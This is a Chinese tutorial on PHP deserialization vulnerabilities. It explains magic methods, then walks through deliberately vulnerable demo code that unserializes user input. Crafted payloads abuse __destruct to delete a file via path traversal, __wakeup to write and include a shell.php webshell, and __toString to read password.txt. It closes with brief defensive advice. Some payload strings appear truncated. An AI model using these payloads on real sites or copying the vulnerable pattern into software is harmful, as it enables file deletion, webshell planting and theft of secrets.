一、什么是PHP魔术方法
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。
二、一些常见的魔术方法
__construct() :构造函数,当创建对象时自动调用。
__destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
__wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。
__ toString():当一个类被当成字符串时会被调用。
__sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。
三、魔术方法的利用
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php class Stu { public $name = 'aa'; public $age = 18;
function __construct() { echo '对象被创建了__consrtuct()'; } function __wakeup() { echo '执行了反序列化__wakeup()'; } function __toString() { echo '对象被当做字符串输出__toString'; return 'asdsadsad'; } function __sleep() { echo '执行了序列化__sleep'; return array('name','age'); } function __destruct() { echo '对象被销毁了__destruct()'; }
} $stu = new Stu(); echo "<pre>";
$stu_ser = serialize($stu); print_r($stu_ser); echo "$stu"; $stu_unser = unserialize($stu_ser); print_r($stu_unser); ?>
|
测试结果:
四、反序列化漏洞的利用
由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。
1.__destruct()函数
个网站内正常页面使用logfile.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。正常重构Stu对象
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php header("content-type:text/html;charset=utf-8"); include './logfile.php'; class Stu { public $name = 'aa'; public $age = 19; function StuData() { echo '姓名:'.$this->name.'<br>'; echo '年龄:'.$this->age; } } $stu = new Stu(); $newstu = unserialize($_GET['stu']); echo "<pre>"; var_dump($newstu) ; ?>
|
logfile.php 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class LogFile { public $filename = 'error.log'; function LogData($text) { echo 'log some data:'.$text.'<br>'; file_put_contents($this->filename, $text,FILE_APPEND); } function __destruct() { echo '析构函数__destruct 删除新建文件'.$this->filename; unlink(dirname(__FILE__).'/'.$this->filename); } } ?>
|
正常输入参数:O:3:”Stu”:2:{s:4:”name”;s:2:”aa”;s:3:”age”;i:20;}

重构logfile.php文件包含的对象进行文件删除

正常重构:O:7:”LogFile”:1:{s:8:”filename”;s:9:”error.log”;}
发现正常删除,但如果我们修改参数,让其删除其他的文件呢?

异常重构:O:7:”LogFile”:1:{s:8:”filename”;s:10:”../ljh.php”;}
执行该代码

2.__wakeup()
例如有一个代码为index.php,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class chybeta { public $test = '123'; function __wakeup() { $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $class = @$_GET['test']; print_r($class); echo "</br>"; $class_unser = unserialize($class);
require "shell.php";
?>
|
传入参数:?test=O:7:”chybeta”:1:{s:4:”test”;s:19:”“;}

查看shell.php文件

也可以传入一句话木马:O:7:”chybeta”:1:{s:4:”test”;s:25:”“;}
3.toString()
举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许 __toString读取某个文件。把下面这段代码保存为fileread.php
fileread.php代码
1 2 3 4 5 6 7 8 9 10 11
| <?php //读取文件类 class FileRead { public $filename = 'error.log'; function __toString() { return file_get_contents($this->filename); } } ?>
|
个网站内正常页面应引用fileread.php文件,代码中使用unserialize()进行了反序列化,且反序列化的值是用户输入可控 。
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php //引用fileread.php文件 include './fileread.php'; //定义用户类 class User { public $name = 'aa'; public $age = 18; function __toString() { return '姓名:'.$this->name.';'.'年龄:'.$this->age; } } //O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;} //反序列化 $obj = unserialize($_GET['user']); //当成字符串输出触发toString echo $obj; ?>
|
正常重构:O:4:”User”:2:{s:4:”name”;s:2:”aa”;s:3:”age”;i:18;}

重构fileread.php文件包含的类进行读取password.txt文件内容
重构:O:8:”FileRead”:1:{s:8:”filename”;s:12:”password.txt”;}

五、反序列化漏洞的防御
和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以最好的预防措施:
不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
在进入反序列化函数之前,对参数进行限制过滤。